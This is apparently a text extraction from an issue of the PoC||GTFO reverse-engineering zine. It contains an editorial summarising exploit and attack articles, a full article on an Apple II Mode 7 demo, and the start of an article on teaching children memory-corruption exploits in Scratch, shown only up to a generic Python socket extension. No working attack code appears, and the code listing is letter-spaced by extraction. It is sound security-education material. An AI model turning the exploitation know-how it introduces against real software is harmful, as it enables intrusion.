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18:01 I thought I turned it on, but I didn’t.

Neighbors, please join me in reading this nine-
teenth release of the International Journal of Proof
of Concept or Get the Fuck Out, a friendly little
collection of articles for ladies and gentlemen of dis-
tinguished ability and taste in the field of reverse
engineering and the study of weird machines. This
release is a gift to our fine neighbors in Montréal.

If you are missing the first eighteen issues, we
suggest asking a neighbor who picked up a copy of
the first in Vegas, the second in São Paulo, the third
in Hamburg, the fourth in Heidelberg, the fifth in
Montréal, the sixth in Las Vegas, the seventh from
his parents’ inkjet printer during the Thanksgiv-
ing holiday, the eighth in Heidelberg, the ninth in
Montréal, the tenth in Novi Sad or Stockholm, the
eleventh in Washington D.C., the twelfth in Heidel-
berg, the thirteenth in Montréal, the fourteenth in
São Paulo, San Diego, or Budapest, the fifteenth
in Canberra, Heidelberg, or Miami, the sixteenth
release in Montréal, New York, or Las Vegas, the
seventeenth release in São Paulo or Budapest, or
the eighteenth release in Leipzig or Washington,
D.C. Two collected volumes are available through
No Starch Press, wherever fine books are sold.

After our paper release, and only when quality
control has been passed, we will make an electronic
release named pocorgtfo18.pdf. It is a valid PDF
document, HTML website, and ZIP archive filled
with fancy papers and source code. You will find it
available in two different variants, but they have the
same SHA-1 hash.

Nintendo’s SNES platform was famous for its
Mode 7, a video mode in which a background im-
age could be rotated and stretched to create a faux
3D effect. This didn’t exist for the Apple ][, so on
page 4 Vincent Weaver describes his recreation of
the technique in software as a recent demo coding
exercise.

Many of us began our careers in reverse engineer-
ing through line numbered BASIC, and we fondly
remember the peek and poke commands that let
us do sophisticated things with a child’s language.
On page 10, Kev Sheldrake extends the Scratch lan-
guage so that his son can experiment with memory
corruption exploits.

Vi Grey was reading PoC‖GTFO 14:12, and a
nifty thought occurred. Why not merge a ZIP file
into an NES cartridge itself, and not just its iNES
emulator file? See page 17 for all the practical de-
tails.

If you enjoyed Yannay Livneh’s article on the
VLC heap from PoC‖GTFO 16:6, turn to page 22
for his notes on the House of Fun, exploiting glibc
heaps in the year 2018.

Ryan O’Neill, whom you might know as Elfmas-
ter, has been playing around with static linking of
ELF files on Linux. You certainly know that static
files are handy for avoiding missing libraries, but
did you know that static linking breaks ASLR and
RELRO defenses, that the global offset table might
still be writable? See page 37 for his notes on pro-
ducing a static executable that does include these
defenses.

TetriNET is a multiplayer clone of Tetris that
St0rmCat released in 1997. On page 48, John Laky
and Kyle Hanslovan give us a remote code execution
exploit for that game just twenty years too late for
anyone to expect a patch.

When performing a cold boot attack, it’s impor-
tant to recover not just the contents of memory but
also to descramble it, and this scrambler is often
poorly documented on modern systems. On page
58, Nico Heijningen patches Coreboot to reverse en-
gineer the scrambler of the DDR3 controller on In-
tel’s Sandy Bridge processors.

Ange Albertini was one of the fine authors of
the SHAttered attack that demonstrated a practi-
cal SHA-1 collision. On page 63, he shows how to
reuse that same colliding block to substitute an arbi-
trary image in a larger document, conveniently gen-
erated by PDFLATEX. As is the tradition in most
of Ange’s articles, pocorgtfo18.pdf uses this tech-
nique to place a stamp on the front cover. We’ll re-
lease two variants, but because they have the same
SHA-1 hash, we politely ask mirrors to include the
MD5 hashes as well.

On page 64, the last page, we pass around the
collection plate. Our church has no interest in bit-
coins or wooden nickels, but we’d love your donation
of a reverse engineering story. Please send some our
way.
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18:02 An 8 Kilobyte Mode 7 Demo for the Apple II
by Vincent M. Weaver

While making an inside-joke filled game for my
favorite machine, the Apple ][, I needed to cre-
ate a Final-Fantasy-esque flying-over-the-planet se-
quence. I was originally going to fake this, but why
fake graphics when you can laboriously spend weeks
implementing the effect for real. It turns out the Ap-
ple ][ is just barely capable of generating the effect
in real time.

Once I got the code working I realized it would be
great as part of a graphical demo, so off on that tan-
gent I went. This turned out well, despite the fact
that all I knew about the demoscene I had learned
from a few viewings of the Future Crew Second Re-
ality demo combined with dimly remembered Com-
modore 64 and Amiga usenet flamewars.

While I hope you enjoy the description of the
demo and the work that went into it, I suspect
this whole enterprise is primarily of note due to the
dearth of demos for the Apple ][ platform. For those
of you who would like to see a truly impressive Ap-
ple ][ demo, I would like to make a shout out to
FrenchTouch whose works put this one to shame.

The Hardware

CPU, RAM and Storage:
The Apple ][ was introduced in 1977 with a 6502

processor running at roughly 1.023MHz. Early mod-
els only shipped with 4k of RAM, but in later years,
48k, 64k and 128k systems became common. While
the demo itself fits in 8k, it decompresses to a larger
size and uses a full 48k of RAM; this would have
been very expensive in the seventies.

In 1977 you would probably be loading this from
cassette tape, as it would be another year before
Woz’s single-sided 5 1

4” Disk II came around. With
the release of Apple DOS3.3 in 1980, it offered 140k
of storage on each side.

Sound:
The only sound available in a stock Apple ][ is

a bit-banged speaker. There is no timer interrupt;
if you want music, you have to cycle-count via the
CPU to get the waveforms you needed.

The demo uses a Mockingboard soundcard, first
introduced in 1981. This board contains dual AY-3-
8910 sound generation chips connected via 6522 I/O

chips. Each sound chip provides three channels of
square waves as well as noise and envelope effects.

Graphics:
It is hard to imagine now, but the Apple ][ had

nice graphics for its time. Compared to later com-
petitors, however, it had some limitations: No hard-
ware sprites, user-defined character sets, blanking
interrupts, palette selection, hardware scrolling, or
even a linear framebuffer! It did have hardware page
flipping, at least.

The hi-res graphics mode is a complex mess
of NTSC hacks by Woz. You get approximately
280x192 resolution, with 6 colors available. The col-
ors are NTSC artifacts with limitations on which
colors can be next to each other, in blocks of 3.5
pixels. There is plenty of fringing on edges, and col-
ors change depending on whether they are drawn
at odd or even locations. To add to the madness,
the framebuffer is interleaved in a complex way, and
pixels are drawn least-significant-bit first. (All of
this to make DRAM refresh better and to shave a
few 7400 series logic chips from the design.) You
do get two pages of graphics, Page 1 is at $2000
and Page 2 at $4000.1 Optionally four lines of text
can be shown at the bottom of the screen instead of
graphics.

The lo-res mode is a bit easier to use. It pro-
vides 40 × 48 blocks, reusing the same memory as
the 40×24 text mode. (As with hi-res you can switch
to a 40 × 40 mode with four lines of text displayed
at the bottom.) Fifteen unique colors are available,
plus a second shade of grey. Again the addresses are
interleaved in a non-linear fashion. Lo-res Page 1 is
at $400 and Page 2 is at $800.

Some amazing effects can be achieved by cycle
counting, reading the floating bus, and racing the
beam while toggling graphics modes on the fly.

1On 6502 systems hexadecimal values are traditionally indicated by a dollar sign.
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Figure 1. Colorful View of Executable Code

------------- $ffff
| ROM/IO |
------------- $c000

| |
| Uncompressed|
| Code/Data |
| |
------------- $4000

| Compressed |
| Code |
------------- $2000

| free |
------------- $1c00

| Scroll |
| Data |
------------- $1800

| Multiply |
| Tables |
------------- $1000

| LORES pg 3 |
------------- $0c00

| LORES pg 2 |
------------- $0800

| LORES pg 1 |
------------- $0400

|free/vectors |
------------- $0200

| stack |
------------- $0100

| zero pg |
------------- $0000

Figure 2. Memory Map

Development Toolchain

I do all of my coding under Linux, using the ca65
assembler from the cc65 project. I cross-compile the
code, constructing AppleDOS 3.3 disk images using
custom tools I have written. I test first in emula-
tion, where AppleWin under Wine is the easiest to
use, but until recently MESS/MAME had cleaner
sound.

Once the code appears to work, I put it on a
USB stick and transfer to actual hardware using a
CFFA3000 disk emulator installed in an Apple IIe
platinum edition.

Bootloader

An Applesoft BASIC “HELLO” program loads the
binary automatically at bootup. This does not
count towards the executable size, as you could man-
ually BRUN the 8k machine-language program if
you wanted.

To make the loading time slightly more interest-
ing the HELLO program enables graphics mode and
loads the program to address $2000 (hi-res page1).
This causes the display to filled with the color-
ful pattern corresponding to the compressed image.
(Figure 1.) This conveniently fills all 8k of the dis-
play RAM, or would have if we had poked the right
soft-switch to turn off the bottom four lines of text.
After loading, execution starts at address $2000.

Decompression

The binary is encoded with the LZ4 algorithm. We
flip to hi-res Page 2 and decompress to this region
so the display now shows the executable code.

The 6502 size-optimized LZ4 decompression
code was written by qkumba (Peter Ferrie).2 The
program and data decompress to around 22k start-
ing at $4000. This overwrites parts of DOS3.3, but
since we are done with the disk this is no problem.

If you look carefully at the upper left corner of
the screen during decompression you will see my tri-
angular logo, which is supposed to evoke my VMW
initials. To do this I had to put the proper bit pat-
tern inside the code at the interleaved addresses of
$4000, $4400, $4800, and $4C00. The image data
at $4000 maps to (mostly) harmless code so it is left
in place and executed.

2http://pferrie.host22.com/misc/appleii.htm
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Figure 3. The title screen.

Optimizing the code inside of a compressed im-
age (to fit in 8k) is much more complicated than reg-
ular size optimization. Removing instructions some-
times makes the binary larger as it no longer com-
presses as well. Long runs of a single value, such as
zero padding, are essentially free. This became an
exercise of repeatedly guessing and checking, until
everything fit.

Title Screen

Once decompression is done, execution continues at
address $4000. We switch to low-res mode for the
rest of the demo.

FADE EFFECT: The title screen fades in from
black, which is a software hack as the Apple ][ does
not have palette support. This is done by loading
the image to an off-screen buffer and then a lookup
table is used to copy in the faded versions to the
image buffer on the fly.

TITLE GRAPHICS: The title screen is shown in
Figure 3. The image is run-length encoded (RLE)
which is probably unnecessary in light of it being
further LZ4 encoded. (LZ4 compression was a late
addition to this endeavor.)

Why not save some space and just loading our
demo at $400, negating the need to copy the im-
age in place? Remember the graphics are 40 × 48
(shared with the text display region). It might be
easier to think of it as 40 × 24 characters, with the
top / bottom nybbles of each ASCII character be-
ing interpreted as colors for a half-height block. If
you do the math you will find this takes 960 bytes
of space, but the memory map reserves 1k for this

mode. There are “holes” in the address range that
are not displayed, and various pieces of hardware
can use these as scratchpad memory. This means
just overwriting the whole 1k with data might not
work out well unless you know what you are doing.
Our RLE decompression code skips the holes just to
be safe.

SCROLL TEXT: The title screen has scrolling
text at the bottom. This is nothing fancy, the text
is in a buffer off screen and a 40× 4 chunk of RAM
is copied in every so many cycles.

You might notice that there is tearing/jitter in
the scrolling even though we are double-buffering
the graphics. Sadly there is no reliable cross-
platform way to get the VBLANK info on Apple
][ machines, especially the older models.

Mockingbird Music

No demo is complete without some exciting back-
ground music. I like chiptune music, especially the
kind written for AY-3-8910 based systems. During
the long wait for my Mockingboard hardware to ar-
rive, I designed and built a Raspberry Pi chiptune
player that uses essentially the same hardware. This
allowed me to build up some expertise with the soft-
ware/hardware interface in advance.

The song being played is a stripped down and
re-arranged version of “Electric Wave” from CC’00
by EA (Ilya Abrosimov).

Most of my sound infrastructure involves YM5
files, a format commonly used by ZX Spectrum and
Atari ST users. The YM file format is just AY-3-
8910 register dumps taken at 50Hz. To play these
back one sets up the sound card to interrupt 50 times
a second and then writes out the fourteen register
values from each frame in an interrupt handler.

Writing out the registers quickly enough is a
challenge on the Apple ][, as for each register you
have to do a handshake and then set both the reg-
ister number and the value. It is hard to do this in
less than forty 1MHz cycles for each register. With
complex chiptune files (especially those written on
an ST with much faster hardware), sometimes it is
not possible to get exact playback due to the de-
lay. Further slowdown happens as you want to write
both AY chips (the output is stereo, with one AY on
the left and one on the right). To help with latency
on playback, we keep track of the last frame written
and only write to the registers that have changed.

The demo detects the Mockingboard in Slot 4
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at startup. First the board is initialized, then one
of the 6522 timers is set to interrupt at 25Hz. Why
25Hz and not 50Hz? At 50Hz with fourteen registers
you use 700 bytes/s. So a two minute song would
take 84k of RAM, which is much more than is avail-
able! To allow the song to fit in memory, without a
fancy circular buffer decompression routine, we have
to reduce the size.3

First the music is changed so it only needs to be
updated at 25Hz, and then the register data is com-
pressed from fourteen bytes to eleven bytes by strip-
ping off the envelope effects and packing together
fields that have unused bits. In the end the sound
quality suffered a bit, but we were able to fit an ac-
ceptably catchy chiptune inside of our 8k payload.

Drawing the Mode7 Background

Mode 7 is a Super Nintendo (SNES) graphics mode
that takes a tiled background and transforms it
by rotating and scaling. The most common effect
squashes the background out to the horizon, giv-
ing a three-dimensional look. The SNES did these
transforms in hardware, but our demo must do them
in software.

Our algorithm is based on code by Martijn van
Iersel which iterates through each horizontal line on
the screen and calculates the color to output based
on the camera height (spacez) and angle as well as
the current coordinates, x and y.

First, the distance d is calculated based on fixed
scale and distance-to-horizon factors. Instead of a
costly division operation, we use a pre-generated
lookup table for this.

d =
z × yscale
y + horizon

Next we calculate the horizontal scale (distance be-
tween points on this line):

h =
d

xscale

Then we calculate delta x and delta y values between
each block on the line. We use a pre-computed sine/-
cosine lookup table.

∆x = − sin(angle)× h

∆y = cos(angle)× h

The leftmost position in the tile lookup is calculated:

tilex = x +
(
d cos(angle)− width

2

)
∆x

tiley = y +
(
d sin(angle)− width

2

)
∆y

Then an inner loop happens that adds ∆x and ∆y as
we lookup the color from the tilemap (just a wrap-
around array lookup) for each block on the line.

color = tilelookup(tilex, tiley)

plot(x, y)

tilex += ∆x, tiley += ∆y

Optimizations: The 6502 processor cannot do
floating point, so all of our routines use 8.8 fixed
point math. We eliminate all use of division, and
convert as much as possible to table lookups, which
involves limiting the heights and angles a bit.

Some cycles are also saved by using self-
modifying code, most notably hard-coding the
height (z) value and modifying the code whenever
this is changed. The code started out only capable
of roughly 4.9fps in 40 × 20 resolution and in the
end we improved this to 5.7fps in 40×40 resolution.
Care was taken to optimize the innermost loop, as
every cycle saved there results in 1280 cycles saved
overall.

Fast Multiply: One of the biggest bottlenecks in
the mode7 code was the multiply. Even our opti-
mized algorithm calls for at least seven 16-bit by
16-bit to 32-bit multiplies, something that is really
slow on the 6502. A typical implementation takes
around 700 cycles for an 8.8× 8.8 fixed point multi-
ply.

We improved this by using the ancient quarter-
square multiply algorithm, first described for 6502
use by Stephen Judd.

This works by noting these factorizations:

(a + b)2 = a2 + 2ab + b2

(a− b)2 = a2 − 2ab + b2

If you subtract these you can simplify to

a× b =
(a + b)2

4
− (a− b)2

4
3For an example of such a routine, see my Chiptune music-disk demo.
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Figure 4. Bouncing ball on infinite checkerboard.

Figure 5. Spaceship flying over an island.

For 8-bit values if you create a table of squares
from 0 to 511, then you can convert a multiply
into two table lookups and a subtraction.4 This
does have the downside of requiring two kilobytes
of lookup tables, but it reduces the multiply cost to
the order of 250 cycles or so and these tables can be
generated at startup.

BALL ON CHECKERBOARD

The first Mode7 scene transpires on an infinite
checkerboard. A demo would be incomplete with-
out some sort of bouncing geometric solid, in this
case we have a pink sphere. The sphere is repre-
sented by sixteen sprites that were captured from
a twenty year old OpenGL example. Screenshots

were reduced to the proper size and color limita-
tions. The shadows are also sprites, and as the Ap-
ple ][ has no dedicated sprite hardware, these are
drawn completely in software.

The clicking noise on bounce is generated by ac-
cessing the speaker port at address $C030. This
gives some sound for those viewing the demo with-
out the benefit of a Mockingboard.

TFV SPACESHIP FLYING
This next scene has a spaceship flying over an is-
land. The Mode7 graphics code is generic enough
that only one copy of the code is needed to generate
both the checkerboard and island scenes. The space-
ship, water splash, and shadows are all sprites. The
path the ship takes is pre-recorded; this is adapted
from the Talbot Fantasy 7 game engine with the
keyboard code replaced by a hard-coded script of
actions to take.

4All 8-bit a+ b and a− b fall in this range.
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Figure 6. Spaceship with starfield.

Figure 7. Rasterbars, stars, and credits.

STARFIELD
The spaceship now takes to the stars. This is typical
starfield code, where on each iteration the x and y
values are changed by

∆x =
x

z
,∆y =

y

z

In order to get a good frame rate and not clutter
the lo-res screen only sixteen stars are modeled. To
avoid having to divide, the reciprocal of all possible
z values are stored in a table, and the fast-multiply
routine described previously is used.

The star positions require random number gener-
ation, but there is no easy way to quickly get random
data on the Apple ][. Originally we had a 256-byte
blob of pre-generated “random” values included in
the code. This wasted space, so instead we use our
own machine code at address at $5000 as if it were
a block of random numbers!

A simple state machine controls star speed, ship
movement, hyperspace, background color (for the
blue flash) and the eventual sequence of sprites as
the ship vanishes into the distance.

RASTERBARS/CREDITS

Once the ship has departed, it is time to run the
credits as the stars continue to fly by.

The text is written to the bottom four lines of the
screen, seemingly surrounded by graphics blocks.
Mixed graphics/text is generally not be possible on
the Apple ][, although with careful cycle counting
and mode switching groups such as FrenchTouch
have achieved this effect. What we see in this demo
is the use of inverse-mode (inverted color) space
characters which appear the same as white graphics
blocks.

The rasterbar effect is not really rasterbars, just
a colorful assortment of horizontal lines drawn at a
location determined with a sine lookup table. Hori-
zontal lines can take a surprising amount of time to
draw, but these were optimized using inlining and a
few other tricks.

The spinning text is done by just rapidly rotating
the output string through the ASCII table, with the
clicking effect again generated by hitting the speaker
at address $C030. The list of people to thank ended
up being the primary limitation to fitting in 8kB, as
unique text strings do not compress well. I apologize
to everyone whose moniker got compressed beyond
recognition, and I am still not totally happy with
the centering of the text.

A Parting Gift

Further details, a prebuilt disk image, and full
source code are available both online and attached
to the electronic version of this document.5 6

5unzip pocorgtfo18.pdf mode7.tar.gz
6http://www.deater.net/weave/vmwprod/mode7_demo/
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18:03 Fun Memory Corruption Exploits for Kids with Scratch!
by Kev Sheldrake

Introduction
When my son graduated from Scratch Junior on the
iPad to full-blown Scratch on a desktop computer, I
opted to protect the Internet from him by not giving
him a network interface. Instead I installed the of-
fline version of Scratch on his computer that works
completely stand-alone. One of the interesting dif-
ferences between the online and offline versions of
Scratch is the way in which it can be extended; the
offline version will happily provide an option to in-
stall an ‘Experimental HTTP Extension’ if you use
the super-secret ‘shift click’ on the File menu instead
of the regular, common-all-garden ‘click’.

These extensions allow Scratch to communicate
with another process outside the sandbox through a
web service; there is an abandoned Python mod-
ule that provides a suitable framework for build-
ing them. While words like ‘experimental’ and ‘a-
bandoned’ don’t appear to offer much hope, this is
all just a facade and the technology actually works
pretty well. Indeed, we have interfaced Scratch to
Midi, Arduino projects and, as this essay will ex-
plain, TCP/IP network sockets because, well, if a
language exists to teach kids how to code then I
think it [c|sh]ould also be used to teach them how
to hack.

Scratch Basics
If you’re not already aware, Scratch is an IDE and a
language, all wrapped up in a sandbox built out of
Squeak/Smalltalk (v1.0 to v1.4), Flash/Adobe Air
(v2.0) and HTML5/Javascript (v3.0). Within it,
sprite-based programs can be written using prim-
itives that resemble jigsaw pieces that constrain
where or how they can be placed. For example, an
IF/THEN primitive requires a predicate operator,
such as X=Y or X>Y; in Scratch, predicates have
angled edges and only fit in places where predicates
are accepted. This makes it easier for children to
learn how to combine primitives to make statements
and eventually programs.

All code lives behind sprites or the stage (back-
ground); it can sense key presses, mouse clicks,
sprites touching, etc, and can move sprites and
change their size, colour, etc. If you ever wanted
to recreate that crappy flash game you played in
the late 90s at university or in your first job then
Scratch is perfect for that. You could probably get
something that looks suitably pro within an after-
noon or less. Don’t be fooled by the fact it was
made for kids, Scratch can make some pretty cool
things and is fun; but also be aware that it has its
limitations, and lack of networking is one of them.

The offline version of Scratch relies on Adobe Air
which has been abandoned on Linux. An older 32-
bit version can be installed, but you’ll have much
better results if you just try this on Windows or
MacOS.

Scratch Extensions
Extensions were introduced in Scratch v2.0 and dif-
fer between the online and offline versions. For the
online version extensions are coded in JS, stored on
github.io and accessed via the ScratchX version of
Scratch. As I had limited my son to the offline ver-
sion, we were treated to web service extensions built
in Python.

On the face of it a web service seems like an obvi-
ous choice because they are easy to build, are asyn-
chronous by nature and each method can take multi-
ple arguments. In reality, this extension model was
actually designed for controlling things like robot
arms rather than anything generic. There are com-
mands and reporters, each represented in Scratch
as appropriate blocks; commands would move robot
motors and reporters would indicate when motor
limits are hit. To put these concepts into more stan-
dard terms, commands are essentially procedures.

10



They take arguments but provide no responses, and
reporters are essentially global variables that can be
affected by the procedures. If you think this is a
weird model to program in then you’d be correct.

In order to quickly and easily build a suitable
web service, we can use the off-the-shelf abandon-
ware, Blockext.7 This is a python module that pro-
vides the full web service functionality to an object
that we supply. It’s relatively trivial to build meth-
ods that create sockets, write to sockets, and close
sockets, as we can get away without return values.
To implement methods that read from sockets we
need to build a command (procedure) that does the
actual read, but puts the data into a global variable
that can be read via a reporter.

At this point it is worth discussing how these re-
porters / global variables actually function. They
are exposed via the web service by simply report-
ing their values thirty times a second. That’s right,
thirty times a second. This makes them great for
motor limit switches where data is minimal but la-
tency is critical, but less great at returning data
from sockets. Still, as my hacky extension shows,
if their use is limited they can still work. The block-
ext console doesn’t log reporter accesses but a web
proxy can show them happening if you’re interested
in seeing them.

7git clone https://github.com/blockext/blockext
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Scratch Limitations
While Scratch can handle binary data, it doesn’t re-
ally have a way to input it, and certainly no C-style
or pythonesque formatting. It also has no complex
data types; variables can be numbers or strings, but
the language is probably Turing-complete so this
shouldn’t really stop us. There is also no random
access into strings or any form of string slicing; we
can however retrieve a single letter from a string by
position.

Strings can be constructed from a series of joins,
and we can write a python handler to convert from
an ASCIIfied format (such as ‘\xNN’) to regular bi-
nary. Stripping off newlines on returned strings re-
quires us to build a new (native) Scratch block. Just
like the python blocks accessible through the web
service, these blocks are also procedures with no re-
turn values. We are therefore constrained to return-
ing values via (sprite) global variables, which means
we have to be careful about concurrency.

Talking of concurrency, Scratch has a handy
message system that can be used to create paral-
lel processing. As highlighted, however, the lack of
functions and local variables means we can easily
run into problems if we’re not careful.

Blockext
The Python blockext module can be obtained from
its GitHub and installed with a simple sudo python
setup.py install.

My socket extension is quite straight forward.
The definition of the object is mostly standard
socket code; while it has worked in my limited test-
ing, feel free to make it more robust for any produc-
tion use—this is just a PoC after all.

12



1 #!/ usr/ bin/python

3 from blockext import ∗
import socket

5 import s e l e c t
import u r l l i b

7 import base64

9 c lass SSocket :
def __init__( s e l f ) :

11 s e l f . s o cke t s = {}

13 def _on_reset ( s e l f ) :
print ’ r e s e t ! ! ! ’

15 for key in s e l f . s o cke t s . keys ( ) :
i f s e l f . s o cke t s [ key ] [ ’ socket ’ ] :

17 s e l f . s o cke t s [ key ] [ ’ socket ’ ] . c l o s e ( )
s e l f . s o cke t s = {}

19
def add_socket ( s e l f , type , proto , sock , host , port ) :

21 i f s e l f . i s_connected ( sock ) or s e l f . i s_ l i s t e n i n g ( sock ) :
print ’ add_socket : socket a l ready in use ’

23 return
s e l f . s o cke t s [ sock ] = { ’ type ’ : type , ’ proto ’ : proto , ’ host ’ : host , ’ port ’ : port , ’ reading ’ : 0 , ’ c l o s ed ’ : 0}

25
def set_socket ( s e l f , sock , s ) :

27 i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :
print ’ set_socket : socket doesn \ ’ t e x i s t ’

29 return
s e l f . s o cke t s [ sock ] [ ’ socket ’ ] = s

31
def se t_contro l ( s e l f , sock , c ) :

33 i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :
print ’ s e t_contro l : socket doesn \ ’ t e x i s t ’

35 return
s e l f . s o cke t s [ sock ] [ ’ c on t ro l ’ ] = c

37
def set_addr ( s e l f , sock , a ) :

39 i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :
print ’ set_addr : socket doesn \ ’ t e x i s t ’

41 return
s e l f . s o cke t s [ sock ] [ ’ addr ’ ] = a

43
def create_socket ( s e l f , proto , sock , host , port ) :

45 i f s e l f . i s_connected ( sock ) or s e l f . i s_ l i s t e n i n g ( sock ) :
print ’ c reate_socket : socket a l ready in use ’

47 return
s = socket . socket ( socket .AF_INET, socket .SOCK_STREAM)

49 s . connect ( ( host , port ) )
s e l f . add_socket ( ’ socket ’ , proto , sock , host , port )

51 s e l f . set_socket ( sock , s )

53 def c r e a t e_ l i s t e n e r ( s e l f , proto , sock , ip , port ) :
i f s e l f . i s_connected ( sock ) or s e l f . i s_ l i s t e n i n g ( sock ) :

55 print ’ c r e a t e_ l i s t e n e r : socket a l ready in use ’
return

57 s = socket . socket ( )
s . bind ( ( ip , port ) )

59 s . l i s t e n (5)
s e l f . add_socket ( ’ l i s t e n e r ’ , proto , sock , ip , port )

61 s e l f . s e t_contro l ( sock , s )

63 def accept_connection ( s e l f , sock ) :
i f not s e l f . i s_ l i s t e n i n g ( sock ) :

65 print ’ accept_connection : socket i s not l i s t e n i n g ’
return

67 s = s e l f . s o cke t s [ sock ] [ ’ c on t ro l ’ ]
c , addr = s . accept ( )

69 s e l f . set_socket ( sock , c )
s e l f . set_addr ( sock , addr )

71
def c lose_socket ( s e l f , sock ) :

73 i f s e l f . i s_connected ( sock ) or s e l f . i s_ l i s t e n i n g ( sock ) :
s e l f . s o cke t s [ sock ] [ ’ socket ’ ] . c l o s e ( )

75 del s e l f . s o cke t s [ sock ]

77 def i s_connected ( s e l f , sock ) :
i f sock in s e l f . s o cke t s :

79 i f s e l f . s o cke t s [ sock ] [ ’ type ’ ] == ’ socket ’ and not s e l f . s o cke t s [ sock ] [ ’ c l o s ed ’ ] :
return True

81 return False

83 def i s_ l i s t e n i n g ( s e l f , sock ) :
i f sock in s e l f . s o cke t s :

85 i f s e l f . s o cke t s [ sock ] [ ’ type ’ ] == ’ l i s t e n e r ’ :
return True

87 return False

89 def write_socket ( s e l f , data , type , sock ) :
i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :

91 print ’ wr ite_socket : socket doesn \ ’ t e x i s t ’
return

93 i f not ’ socket ’ in s e l f . s o cke t s [ sock ] or s e l f . s o cke t s [ sock ] [ ’ c l o s ed ’ ] :
print ’ wr ite_socket : socket fd doesn \ ’ t e x i s t ’

95 return
buf = ’ ’

97 i f type == "raw" :
buf = data

99 e l i f type == "c enc" :
buf = data . decode ( ’ s t r ing_escape ’ )

101 e l i f type == " ur l enc" :
buf = u r l l i b . unquote ( data )
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103 e l i f type == "base64 " :
buf = base64 . b64decode ( data )

105
t o t a l s e n t = 0

107 while t o t a l s e n t < len ( buf ) :
sent = s e l f . s o cke t s [ sock ] [ ’ socket ’ ] . send ( buf [ t o t a l s e n t : ] )

109 i f sent == 0 :
s e l f . s o cke t s [ sock ] [ ’ c l o s ed ’ ] = 1

111 return
t o t a l s e n t += sent

113
def c lear_read_f lag ( s e l f , sock ) :

115 i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :
print ’ r ead l ine_socket : socket doesn \ ’ t e x i s t ’

117 return
i f not ’ socket ’ in s e l f . s o cke t s [ sock ] :

119 print ’ r ead l ine_socket : socket fd doesn \ ’ t e x i s t ’
return

121 s e l f . s o cke t s [ sock ] [ ’ read ing ’ ] = 0

123 def reading ( s e l f , sock ) :
i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :

125 return 0
i f not ’ r eading ’ in s e l f . s o cke t s [ sock ] :

127 return 0
return s e l f . s o cke t s [ sock ] [ ’ read ing ’ ]

129
def r ead l ine_socket ( s e l f , sock ) :

131 i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :
print ’ r ead l ine_socket : socket doesn \ ’ t e x i s t ’

133 return
i f not ’ socket ’ in s e l f . s o cke t s [ sock ] or s e l f . s o cke t s [ sock ] [ ’ c l o s ed ’ ] :

135 print ’ r ead l ine_socket : socket fd doesn \ ’ t e x i s t ’
return

137 s e l f . s o cke t s [ sock ] [ ’ read ing ’ ] = 1
str = ’ ’

139 c = ’ ’
while c != ’ \n ’ :

141 read_sockets , write_s , error_s = s e l e c t . s e l e c t ( [ s e l f . s o cke t s [ sock ] [ ’ socket ’ ] ] , [ ] , [ ] , 0 . 1 )
i f read_sockets :

143 c = s e l f . s o cke t s [ sock ] [ ’ socket ’ ] . recv (1)
str += c

145 i f c == ’ ’ :
s e l f . s o cke t s [ sock ] [ ’ c l o s ed ’ ] = 1

147 c = ’ \n ’ # end the whi le loop
else :

149 c = ’ \n ’ # end the whi le loop with empty or p a r t i a l l y rece ived s t r i n g
s e l f . s o cke t s [ sock ] [ ’ readbuf ’ ] = str

151 i f str :
s e l f . s o cke t s [ sock ] [ ’ read ing ’ ] = 2

153 else :
s e l f . s o cke t s [ sock ] [ ’ read ing ’ ] = 0

155
def recv_socket ( s e l f , length , sock ) :

157 i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :
print ’ recv_socket : socket doesn \ ’ t e x i s t ’

159 return
i f not ’ socket ’ in s e l f . s o cke t s [ sock ] or s e l f . s o cke t s [ sock ] [ ’ c l o s ed ’ ] :

161 print ’ recv_socket : socket fd doesn \ ’ t e x i s t ’
return

163 s e l f . s o cke t s [ sock ] [ ’ read ing ’ ] = 1
read_sockets , write_s , error_s = s e l e c t . s e l e c t ( [ s e l f . s o cke t s [ sock ] [ ’ socket ’ ] ] , [ ] , [ ] , 0 . 1 )

165 i f read_sockets :
str = s e l f . s o cke t s [ sock ] [ ’ socket ’ ] . recv ( length )

167 i f str == ’ ’ :
s e l f . s o cke t s [ sock ] [ ’ c l o s ed ’ ] = 1

169 else :
str = ’ ’

171
s e l f . s o cke t s [ sock ] [ ’ readbuf ’ ] = str

173 i f str :
s e l f . s o cke t s [ sock ] [ ’ read ing ’ ] = 2

175 else :
s e l f . s o cke t s [ sock ] [ ’ read ing ’ ] = 0

177
def n_read ( s e l f , sock ) :

179 i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :
return 0

181 i f s e l f . s o cke t s [ sock ] [ ’ reading ’ ] == 2 :
return len ( s e l f . s o cke t s [ sock ] [ ’ readbuf ’ ] )

183 else :
return 0

185
def readbuf ( s e l f , type , sock ) :

187 i f not s e l f . i s_connected ( sock ) and not s e l f . i s_ l i s t e n i n g ( sock ) :
return ’ ’

189 i f s e l f . s o cke t s [ sock ] [ ’ reading ’ ] == 2 :
data = s e l f . s o cke t s [ sock ] [ ’ readbuf ’ ]

191 buf = ’ ’
i f type == "raw" :

193 buf = data
e l i f type == "c enc" :

195 buf = data . encode ( ’ s t r ing_escape ’ )
e l i f type == " ur l enc" :

197 buf = u r l l i b . quote ( data )
e l i f type == "base64 " :

199 buf = base64 . b64encode ( data )
return buf

201 else :
return ’ ’
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The final section is simply the description of the
blocks that the extension makes available over the
web service to Scratch. Each block line takes 4 ar-
guments: the Python function to call, the type of
block (command, predicate or reporter), the text
description that the Scratch block will present (how
it will look in Scratch), and the default values. For
reference, predicates are simply reporter blocks that
only return a boolean value.

The text description includes placeholders for
the arguments to the Python function: %s for a
string, %n for a number, and %m for a drop-down
menu. All %m arguments are post-fixed with the
name of the menu from which the available values
are taken. The actual menus are described as a dic-
tionary of named lists.

